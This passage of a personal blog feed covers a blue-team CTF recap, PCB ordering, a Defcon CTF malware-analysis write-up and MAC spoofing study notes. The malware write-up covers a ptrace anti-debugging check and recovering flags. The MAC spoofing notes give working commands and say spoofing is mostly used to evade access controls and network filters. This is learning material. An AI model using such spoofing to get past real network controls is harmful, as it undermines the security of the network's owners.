&lt;p&gt;Continue to &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x01.html"&gt;IOLI Crackme 0x01&lt;/a&gt; where we tackle hex-to-decimal conversion.&lt;/p&gt;</content><category term="Reverse Engineering"/><category term="re"/><category term="crackme"/></entry><entry><title>Hunt the Kingdom CTF Challenge</title><link href="https://www.accidentalrebel.com/hunt-the-kingdom-ctf-challenge.html" rel="alternate"/><published>2020-10-05T11:13:00+08:00</published><updated>2020-10-05T11:13:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-10-05:/hunt-the-kingdom-ctf-challenge.html</id><summary type="html">&lt;p&gt;How I won the GuideM Hunt the Kingdom blue team CTF — strategy, preparation, and the high-stakes final minutes that came down to four unsolved questions.&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;TLDR: Participated in a blue team CTF, had a lot of fun, looking forward for more&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Yesterday I participated in the &lt;a href="https://www.facebook.com/guidemtraining"&gt;GuideM "Hunt the Kingdom" CTF challenge&lt;/a&gt;. It served as the final activity at the end of the &lt;em&gt;"Cyber Defense and Threat Hunting"&lt;/em&gt; course.&lt;/p&gt;
&lt;p&gt;I was looking forward to this CTF, especially after my awesome experience with the &lt;a href="https://www.accidentalrebel.com/covidscammers-writeup--defcon-rtv-ctf.html"&gt;Red Team Village CTF at Defcon&lt;/a&gt;. This one is centered on the Blue Team side, and I was curious as to how it will play out.&lt;/p&gt;
&lt;h2 id="the-preparation"&gt;The Preparation&lt;/h2&gt;
&lt;p&gt;I took one whole day to study and prepare. I went through all our slides and have written down the important concepts and commands to an org file. This is important because I wanted them to be easily searchable, which helped a lot during the challenge.&lt;/p&gt;
&lt;p&gt;I also did research about the Hunt the Kingdom challenge itself. There weren't much information online about it but there were &lt;a href="https://www.facebook.com/guidemtraining/photos/a.142012317191141/229536238438748/"&gt;some social media posts&lt;/a&gt; that contained screenshots on how the challenge looked like. These gave me a lot of information on what to expect.&lt;/p&gt;
&lt;p&gt;&lt;img alt="hunt-the-kingdom-ctf-challenge-01" src="https://www.accidentalrebel.com/images/hunt-the-kingdom-ctf-challenge-01.jpg" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;It&amp;#39;s OSINT in practice :P
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For example, with the screenshot above I learned how the UI looked like, that there were categories that we could switch to, leaderboards, how a question is structured, and that "areas" on the map can get added, enabled, and disabled during the game. The last part is particularly important as it means that not all questions are available from the start and some can get disabled during the game.&lt;/p&gt;
&lt;p&gt;Thanks to the above research I felt confident that I could hit the ground running as soon as the game started. I picked my name (AccidentalRebel, of course) and my emblem and I was ready for the hunt.&lt;/p&gt;
&lt;p&gt;&lt;img alt="hunt-the-kingdom-ctf-challenge-02" src="https://www.accidentalrebel.com/images/hunt-the-kingdom-ctf-challenge-02.png" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Yes, that&amp;#39;s the blue tank from Advance Wars, because I&amp;#39;m part of the &amp;quot;blue team&amp;quot;.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="the-hunt"&gt;The Hunt&lt;/h2&gt;
&lt;p&gt;When the hunt started my approach was to focus on the easy problems first. Getting them out of the way early would allow me to rack up points and just focus on the hard ones afterwards. This did the trick and I was able to maintain an early lead.&lt;/p&gt;
&lt;p&gt;During the mid-game my computer hanged from all the switching between VMs (There were 3 VMs that we needed to use to solve the problems). &lt;em&gt;Note to self: get a beefier PC&lt;/em&gt;. I got a bit frustrated by this but decided that instead of waiting for Windows to boot I could use the time to take a break and got lunch. &lt;/p&gt;
&lt;p&gt;&lt;img alt="hunt-the-kingdom-ctf-challenge-03" src="https://www.accidentalrebel.com/images/hunt-the-kingdom-ctf-challenge-03.53" /&gt;&lt;/p&gt;
&lt;p&gt;I came back to the game all full and refreshed, but sadly, I have already lost my lead. I felt a bit disappointed by this but I continued to push through. I removed the leaderboards to minimize distractions which helped. No need to pressure myself, I told myself. Although, I admit that I did peek from time to time.&lt;/p&gt;
&lt;p&gt;With the renewed focus I was able to keep my standing in the top 3. The leader of the pack during the end-game was &lt;em&gt;BoyHack3r&lt;/em&gt;, a worthy opponent who was always a few points ahead of me. &lt;/p&gt;
&lt;p&gt;There was one question that has a lot of points that only has one solve. I knew that if I could get that it would give me enough points to snatch back 1st place. It wasn't an easy problem though so I changed my approach by slowing down which helped me understand the questions better. A few minutes later I was back at first place.&lt;/p&gt;
&lt;p&gt;I've never done a celebratory fist pump before, this was the first time.&lt;/p&gt;
&lt;h2 id="the-final-minutes"&gt;The Final Minutes&lt;/h2&gt;
&lt;p&gt;I was able to maintain first place position by continuously answering questions until I was left with just four questions. These four are problems that no one has solved yet. The activity on the leaderboards have lessened which I took to mean that the others were stuck like me. I was at 13740 points, BoyHack3r at 13590, and Overwatch at 13460. If any of them managed to solve just one out of these four problems then they'll easily overtake me.&lt;/p&gt;
&lt;p&gt;I wasn't going to let that happen though. At 5 minutes left I continued solving the one that I had the most progress with. But it wasn't enough and I ran out of time. The others didn't get their lucky break either which finally cemented the scores on the boards.&lt;/p&gt;
&lt;p&gt;&lt;img alt="hunt-the-kingdom-ctf-challenge-04" src="https://www.accidentalrebel.com/images/hunt-the-kingdom-ctf-challenge-04.PNG" /&gt;&lt;/p&gt;
&lt;p&gt;After 6 hours of back-breaking hunting I was finally able to breathe a sigh of relief. &lt;/p&gt;
&lt;h2 id="the-end"&gt;The End&lt;/h2&gt;
&lt;p&gt;I rarely engage in any competitive activity so my competitive side rarely comes out. This CTF definitely brought it out and gave me the push to take the challenge seriously. I didn't do it for the prizes though. I did it because I wanted to prove to myself that I have what it takes, especially since I don't have a formal background in CyberSecurity. While a CTF is not an accurate qualification of being part of a blue team, it does show a participant's ability to work and solve problems under pressure.&lt;/p&gt;
&lt;p&gt;I want to give a shoutout to &lt;a href="https://www.facebook.com/guidemtraining"&gt;GuideM&lt;/a&gt; for guiding us throughout the course and for the extremely fun CTF challenge. Also to &lt;em&gt;BoyHack3r&lt;/em&gt;, &lt;em&gt;Overwatch&lt;/em&gt;, and &lt;em&gt;:]&lt;/em&gt; for making me sweat bullets.&lt;/p&gt;
&lt;p&gt;This is another big step for me into the world of cybersecurity and I do hope I could learn more and improve. I look forward to the next CTF!&lt;/p&gt;
&lt;p&gt;If you enjoy blue team challenges, see my detailed walkthrough of the &lt;a href="https://www.accidentalrebel.com/threat-hunting-from-home-cyber-corp-wmi-persistence.html"&gt;Cyber Corp Case 2 threat hunting challenge&lt;/a&gt;.&lt;/p&gt;</content><category term="CTF"/><category term="ctf"/><category term="cybersecurity"/></entry><entry><title>My experience with manufacturing printed circuit boards</title><link href="https://www.accidentalrebel.com/my-experience-manufacturing-printed-circuit-boards.html" rel="alternate"/><published>2020-10-01T07:19:00+08:00</published><updated>2020-10-01T07:19:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-10-01:/my-experience-manufacturing-printed-circuit-boards.html</id><summary type="html">&lt;p&gt;First-time experience ordering custom PCBs from PCBWay using the ESPBoy gerber files — the process, quality, and what comes next for future board designs.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I've done a lot of electronics projects already, all of them were painstakingly hand-soldered on a perfboard. I actually like this approach for quick prototyping, and plus, I've also grown fond of how "raw" it looks like. In spite of this, I've always been curious and interested in having my own printed PCB. I remember designing one for my &lt;a href="https://hackaday.io/project/164144-tiro-vibrating-watch/log/161430-current-state-and-next-steps"&gt;TIRO vibrating watch&lt;/a&gt; but I never pushed through with it because I wasn't confident with what I've made.&lt;/p&gt;
&lt;p&gt;&lt;img alt="my-experience-manufacturing-printed-circuit-boards-01" src="https://www.accidentalrebel.com/images/my-experience-manufacturing-printed-circuit-boards-01.jpg" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;I really like the raw, almost electronic-punk look of my work
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A couple of months ago I got an email from &lt;a href="https://www.pcbway.com/"&gt;PCBWay&lt;/a&gt; asking if I was interested in trying out their PCB manufacturing service. The email from PCBWay re-ignited this interest in having a PCB made. The problem is I didn't have a PCB design that I built myself that I knew was going to work. My best option was the "ESPBoy project".&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://hackaday.io/project/164830-espboy-the-ultimate-multi-gadget"&gt;ESPBoy&lt;/a&gt; is a project by &lt;a href="https://hackaday.io/ESPboy.edu"&gt;RomanS&lt;/a&gt; that is touted to be the ultimate multi-gadget. RomanS sent me a kit a long time ago (Thank's again, RomanS). I have assembled and &lt;a href="https://www.youtube.com/watch?v=GIrp5Vpr2Ns&amp;amp;feature=emb_title"&gt;made a tutorial video&lt;/a&gt; for it which means that I know that it works and have a very good idea of how it is laid out.&lt;/p&gt;
&lt;p&gt;With that decided, having the PCB made was a very easy and quick process. I just uploaded the gerber file on the PCBWay website, waited for the review of the PCB to be finished, and in a few hours I clicked the submit button and it was off to the printers.&lt;/p&gt;
&lt;p&gt;Fast forward a few weeks later and the package with the printed pcbs arrived.&lt;/p&gt;
&lt;p&gt;&lt;img alt="my-experience-manufacturing-printed-circuit-boards-02" src="https://www.accidentalrebel.com/images/my-experience-manufacturing-printed-circuit-boards-02.jpg" /&gt;&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;And yes, I changed the color to red just so they would look different.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I must say that I am very impressed with the quality of the PCBs. The material feels really solid and the lines so fine and accurate. I've seen and held PCB etchings before, and this is like lightyears ahead in terms of quality. The same can be said with my hand soldered perfboards, of course.&lt;/p&gt;
&lt;p&gt;Sadly, these PCBs have been sitting in storage because I haven't found the time due to the baby. Thankfully, my schedule is slowly opening up recently and I plan to build one ESPBoy in the next coming weeks. I plan to remove the parts from the old one and put it on this. This newer PCB design has new features like the ability to connect to an app store (yeah, seriously) and I'm really curious to try it out.&lt;/p&gt;
&lt;p&gt;I also might consider having another PCB made, but this time with my own design. I'm thinking I might go ahead and have my TIRO watch made, or maybe something even simpler. We'll see.&lt;/p&gt;</content><category term="Misc"/><category term="pcbs"/><category term="electronics"/></entry><entry><title>CovidScammers writeup (Defcon RTV CTF)</title><link href="https://www.accidentalrebel.com/covidscammers-writeup--defcon-rtv-ctf.html" rel="alternate"/><published>2020-08-13T16:58:00+08:00</published><updated>2020-08-13T16:58:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-08-13:/covidscammers-writeup--defcon-rtv-ctf.html</id><summary type="html">&lt;p&gt;Defcon RTV CTF writeup — reversing a Linux malware binary, bypassing ptrace anti-debugging, and recovering flags from shared memory and rootkit files.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I joined the &lt;a href="https://ctf.threatsims.com"&gt;Defcon Red Team Village CTF&lt;/a&gt; because I was curious about it and I wanted to test out the skills that I have gained playing with CTF sites like &lt;a href="https://overthewire.org/wargames/"&gt;overthewire.org&lt;/a&gt; and &lt;a href="https://www.vulnhub.com/"&gt;vulnhub&lt;/a&gt;. I knew that the challenges won't be easy, but thankfully, I was able to join up with other newbies who were willing to give it a go and learn with each other.&lt;/p&gt;
&lt;p&gt;Unfortunately, I fell asleep just before the CTF started and when I woke up all the easy challenges were already solved by my team members. There was one easy challenge that was still open on the CovidScammers category, so I quickly got started to solving that.&lt;/p&gt;
&lt;h2 id="free-flag-and-binary-1-point"&gt;Free Flag (and binary) [1 point]&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;You've been contacted by a high-end but morally ambiguous finance company (unhackable-bitcoin-wallet.com) to investigate a data breach. The box in question is a mail server in their internal network, a sample of the malware found on the system has been pulled and given to you. Your task, should you choose to accept it, is to reverse-engineer the sample and locate, fuzz and exploit the C2 server, and then hack-back to learn about the malicious actor and recover the stolen documents.
Look for the free flag. Get on the scoreboard!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I admit that in a hurry to get points I did not properly read the description of the challenge. I understood that I'll be downloading and reverse-engineering something. But it did not register on my mind that it's actually malware.&lt;/p&gt;
&lt;p&gt;The download was a binary that doesn't do anything when run. My first instict was to use &lt;code&gt;strings&lt;/code&gt; to look for the flag, which turned out to be correct.&lt;/p&gt;
&lt;p&gt;&lt;img alt="giving-malware-to-a-noob--defcon-rtv-ctf-covidscammers-writeup-01" src="https://www.accidentalrebel.com/images/giving-malware-to-a-noob--defcon-rtv-ctf-covidscammers-writeup-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;The flag is: &lt;code&gt;TS{freeFlagLookAtMe}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Unfortunately, this challenge was already solved by a team member so I did not get the free flag. The second one, is still open though.&lt;/p&gt;
&lt;h2 id="syscalls-5-points"&gt;Syscalls [5 points]&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;What syscall is hindering your dynamic analysis? Flag is just the syscall, no brackets or anything.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If we run the file from within gdb to debug it we get:&lt;/p&gt;
&lt;p&gt;&lt;img alt="giving-malware-to-a-noob--defcon-rtv-ctf-covidscammers-writeup-02" src="https://www.accidentalrebel.com/images/giving-malware-to-a-noob--defcon-rtv-ctf-covidscammers-writeup-02.png" /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;can't debug this, na na na na...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So from the description we are looking for a syscall that is hindering the debugging of the binary. If we want to find out what syscalls are called by a program, we could determine that using the &lt;code&gt;strace&lt;/code&gt; command.&lt;/p&gt;
&lt;p&gt;&lt;img alt="giving-malware-to-a-noob--defcon-rtv-ctf-covidscammers-writeup-03" src="https://www.accidentalrebel.com/images/giving-malware-to-a-noob--defcon-rtv-ctf-covidscammers-writeup-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;Just before the write syscall for the "na na na" message we see:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ptrace(TRACE_TRACEME) = -1 EPERM (Operation not permitted)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I'm unfamiliar with &lt;code&gt;ptrace&lt;/code&gt; so I researched it and tried to understand how it could prevent debugging. I learned that &lt;code&gt;ptrace&lt;/code&gt; can be used as an anti-debugging technique as can be seen &lt;a href="https://www.aldeid.com/wiki/Ptrace-anti-debugging"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sure, enough the flag is: &lt;code&gt;ptrace&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;I got 5 points from this and I finally have a contribution to my team! Unfortunately, real life prevented me from continuing with the CTF and I had to bow out early.&lt;/p&gt;
&lt;h3 id="sidenote-how-to-bypass-ptrace"&gt;Sidenote: How to bypass ptrace?&lt;/h3&gt;
&lt;p&gt;How does one bypass this anti-debugging feature? &lt;a href="https://dev.to/denisnutiu/bypassing-ptrace-calls-with-ldpreload-on-linux-12jl"&gt;Here's one approach&lt;/a&gt; that I tried which should work in theory but doesn't. My guess is that this particular binary has an additional way to prevent debugging, like it spawns a child process and it stays there even if you bypass ptrace. I'd have to look into this further in the future.&lt;/p&gt;
&lt;h2 id="shared-secrets-150-points"&gt;Shared Secrets [150 points]&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The malware creates a shared-memory object and stores a flag inside. Recover the flag. Flag has the TS{} format, you'll know when you get it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I was able to solve this challenge after the CTF preliminaries ended. By this time I was already well rested and have a clearer mind. It was also at this time that I realized that the file is actually a malware and has already infected my machine. Thankfully, I was running a virtual machine which meant I could just revert back to an old working restore point.&lt;/p&gt;
&lt;p&gt;Knowing that the file is a malware, the next step I did was to run &lt;code&gt;rkhunter&lt;/code&gt; to look for rootkits and suspcious files. This gave me an interesting finding:&lt;/p&gt;
&lt;p&gt;&lt;img alt="giving-malware-to-a-noob--defcon-rtv-ctf-covidscammers-writeup-04" src="https://www.accidentalrebel.com/images/giving-malware-to-a-noob--defcon-rtv-ctf-covidscammers-writeup-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;Opening the suspicious file revealed this: &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;KRJXW22FMVYES5CTMVBXERKUNNCWK4CJORJWCRTFFZGXERTSGBSE6IL5&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is not the flag yet, it needs to be in the "TS{}" format as instructed in the challenge description.&lt;/p&gt;
&lt;p&gt;I initially had a hard time figuring out how to decode this. It wasn't &lt;code&gt;base64&lt;/code&gt; nor any other popular encoding. Thankfully, there are tools like &lt;a href="https://gchq.github.io/CyberChef/"&gt;CyberChef&lt;/a&gt; to help with this kind of problem. After some experimentation, the "magic" recipe did the trick and revealed to me that it was actually a &lt;code&gt;base32&lt;/code&gt; encoding.&lt;/p&gt;
&lt;p&gt;&lt;img alt="giving-malware-to-a-noob--defcon-rtv-ctf-covidscammers-writeup-05" src="https://www.accidentalrebel.com/images/giving-malware-to-a-noob--defcon-rtv-ctf-covidscammers-writeup-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;This gave me the flag: &lt;code&gt;TS{kEepItSeCrETkEepItSaFe.MrFr0dO!}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="license-and-registration-100-points"&gt;License and Registration [100 points]&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The malware creates a UUID and stores it in a file, what is the name of this file. Provide the SHA1 hash of hte full path as the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So the description above says that a file is created by the malware and stores data inside of it. I figured that the easiest way to figure out what this created file is to: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Restore to a previous restore point before I opened the malware&lt;/li&gt;
&lt;li&gt;Run the malware, and then;&lt;/li&gt;
&lt;li&gt;Inspect which other files were created at the time of execution. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I found out which files were recently created during the last 2 minutes using the following command:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;-user&lt;span class="w"&gt; &lt;/span&gt;kali&lt;span class="w"&gt; &lt;/span&gt;-mmin&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This showed me a lot of files, but after sifting through that I found one file that seesm promising.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/tmp/.serverauth.tn6aUcM0uM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To get the flag I did this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tmp/.serverauth.tn6aUcM0uM&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sha1sum
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Which resulted in this flag: &lt;code&gt;5b4e97047851682649a602ad62ba4af567e352a3&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="to-be-continued"&gt;To be continued?&lt;/h2&gt;
&lt;p&gt;So I wanted to try and work on the other challenges but it seems that &lt;a href="https://ctf.threatsims.com"&gt;the ctf site&lt;/a&gt; is currently down. The site redirected to a different non https site and it spooked me so I stopped trying. Good thing that I had NoScript on.&lt;/p&gt;
&lt;p&gt;If you want a longer and more pro writeup about the CovidScammers challenges do check out &lt;a href="https://0xdf.gitlab.io/2020/05/04/covid-19-ctf-covidscammers.html"&gt;0xdf's writeup about it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I later competed in another CTF — &lt;a href="https://www.accidentalrebel.com/hunt-the-kingdom-ctf-challenge.html"&gt;the Hunt the Kingdom blue team challenge&lt;/a&gt;, where I placed first.&lt;/p&gt;
&lt;p&gt;Running malware safely requires a proper isolated environment — see how I set up &lt;a href="https://www.accidentalrebel.com/building-my-virtual-cybersecurity-home-lab.html"&gt;my virtual cybersecurity home lab&lt;/a&gt;.&lt;/p&gt;</content><category term="CTF"/><category term="ctf"/><category term="writeup"/><category term="malware_analysis"/><category term="defcon"/></entry><entry><title>Study notes: MAC Spoofing</title><link href="https://www.accidentalrebel.com/study-notes--mac-spoofing.html" rel="alternate"/><published>2020-08-01T11:07:00+08:00</published><updated>2020-08-01T11:07:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-08-01:/study-notes--mac-spoofing.html</id><summary type="html">&lt;p&gt;Study notes on MAC spoofing — what it is, legitimate versus illegitimate uses, and how to change your MAC address using ifconfig or macchanger on Linux.&lt;/p&gt;</summary><content type="html">&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Study notes are my personal research notes on certain topics that interests me.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Any network capable device has a unique factory-assigned Media Access Control (MAC) address. Users have no way to change the MAC address but it can be done. However, it is possible to mask the MAC address and have it show a different value. This is called MAC spoofing.&lt;/p&gt;
&lt;p&gt;There are legitimate uses for MAC spoofing. For example, there may be certain applications that require a particular MAC address to work, or maybe your ISP expects a certain MAC address to connect to the network. MAC spoofing is largely used for illegitimate uses, like circumventing an access control list or getting past a filter on a wireless network.&lt;/p&gt;
&lt;h2 id="changing-mac-address-via-ifconfig"&gt;Changing MAC Address via ifconfig&lt;/h2&gt;
&lt;p&gt;In Linux we could use &lt;code&gt;ifconfig&lt;/code&gt; to change the MAC address.&lt;/p&gt;
&lt;p&gt;To view the current MAC address:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ifconfig
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The current MAC address is &lt;code&gt;08:00:27:59:fb:fa&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img alt="study-notes--mac-spoofing-01" src="https://www.accidentalrebel.com/images/study-notes--mac-spoofing-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;Let's say we want to change the MAC address of our interface (eth0) to &lt;code&gt;00:11:22:33:44:55&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;First, deactivate the interface.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ifconfig&lt;span class="w"&gt; &lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;down
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then we specify the mac address that we want to change to.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ifconfig&lt;span class="w"&gt; &lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;hw&lt;span class="w"&gt; &lt;/span&gt;ether&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;:11:22:33:44:55
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Reactive the interface:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ifconfig&lt;span class="w"&gt; &lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;up
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Run &lt;code&gt;ifconfig&lt;/code&gt; again to see the changes.&lt;/p&gt;
&lt;p&gt;&lt;img alt="study-notes--mac-spoofing-02" src="https://www.accidentalrebel.com/images/study-notes--mac-spoofing-02.png" /&gt;&lt;/p&gt;
&lt;h3 id="note"&gt;NOTE:&lt;/h3&gt;
&lt;p&gt;These changes are not permanent. The MAC address will return to the original one when the system is restarted!&lt;/p&gt;
&lt;h2 id="changing-the-mac-address-via-macchanger"&gt;Changing the MAC address via MACChanger&lt;/h2&gt;
&lt;p&gt;There are various tools that allows easy changing of MAC addresses. &lt;a href="https://github.com/alobbs/macchanger"&gt;MACChanger&lt;/a&gt; is one of them.&lt;/p&gt;
&lt;p&gt;First, deactivate the interface.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ifconfig&lt;span class="w"&gt; &lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;down
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The above below allows you specify the mac address you want to use:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;macchanger&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;:11:22:33:44:55&lt;span class="w"&gt; &lt;/span&gt;eth0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code below assigns a random MAC address.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;macchanger&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;eth0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Reactive the interface:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ifconfig&lt;span class="w"&gt; &lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;up
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="related-reading"&gt;Related reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/MAC_spoofing"&gt;MAC Spoofing on Wikipedia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.giac.org/paper/gsec/3199/mac-spoofing-an-introduction/105315"&gt;MAC Spoofing - An introduction&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.comparitech.com/net-admin/spoofing-attacks-guide/"&gt;A guide to spoofing attacks and how to prevent them&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Misc"/><category term="spoofing"/><category term="cybersecurity"/></entry><entry><title>Chicken-Scheme FFI Examples</title><link href="https://www.accidentalrebel.com/chicken-scheme-ffi-examples.html" rel="alternate"/><published>2020-06-16T05:58:00+08:00</published><updated>2020-06-16T05:58:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-06-16:/chicken-scheme-ffi-examples.html</id><summary type="html">&lt;p&gt;Practical Chicken Scheme FFI examples covering foreign-lambda, struct accessors, inline C code, memory management, and enum bindings for C interop.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I'm currently working on refactoring the FFI implementation for &lt;a href="https://github.com/accidentalrebel/rebel-game-engine"&gt;the Rebel Game Engine&lt;/a&gt;. It was previously written using the &lt;a href="http://wiki.call-cc.org/eggref/5/bind"&gt;Bind chicken egg&lt;/a&gt; but I wanted to have more control over the implementation by using the low level foreign functions. &lt;/p&gt;
&lt;p&gt;To help me better understand I made some examples that has the basic FFI implementations that I'll be needing for my project.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="foreign-lambda-example"&gt;foreign-lambda example&lt;/h2&gt;
&lt;p&gt;Let's say we have a structure &lt;code&gt;Vec3&lt;/code&gt; and a function &lt;code&gt;Vec3Create&lt;/code&gt; that we want to access from chicken-scheme.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Vec3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
